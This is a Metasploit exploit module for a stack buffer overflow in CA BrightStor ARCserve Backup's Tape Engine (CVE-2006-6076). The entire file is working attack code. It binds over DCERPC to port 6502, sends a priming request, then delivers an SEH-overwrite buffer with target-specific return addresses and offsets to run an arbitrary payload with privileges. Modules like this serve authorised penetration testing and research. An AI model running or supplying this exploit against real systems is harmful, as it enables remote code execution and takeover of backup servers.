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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::DCERPC
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
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          r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
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          the buffer and execute arbitrary code.
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        },
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        'Author' => [ 'MC', 'aushack' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2006-6076' ],
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          [ 'OSVDB', '30637' ],
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          [ 'BID', '21221' ],
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          [ 'EDB', '3086' ]
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        ],
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        'Privileged' => true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Payload' => {
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          'Space' => 500,
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          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
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          'StackAdjustment' => -9500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], # p/p/r cheyprod.dll 07/21/2004
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          [ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], # p/p/r cheyprod.dll ??/??/????
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        ],
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        'DisclosureDate' => '2006-11-21',
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        'DefaultTarget' => 1,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([ Opt::RPORT(6502) ])
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  end
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  def exploit
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    connect
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    handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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    print_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    print_status("Bound to #{handle} ...")
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    request = "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"
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    request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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    dcerpc.call(43, request)
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    filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset'])
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    seh = generate_seh_payload(target.ret)
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    sploit = filler + seh
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    print_status("Trying target #{target.name}...")
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    begin
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      dcerpc_call(38, sploit)
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    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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    end
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    handler
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    disconnect
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  end
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end
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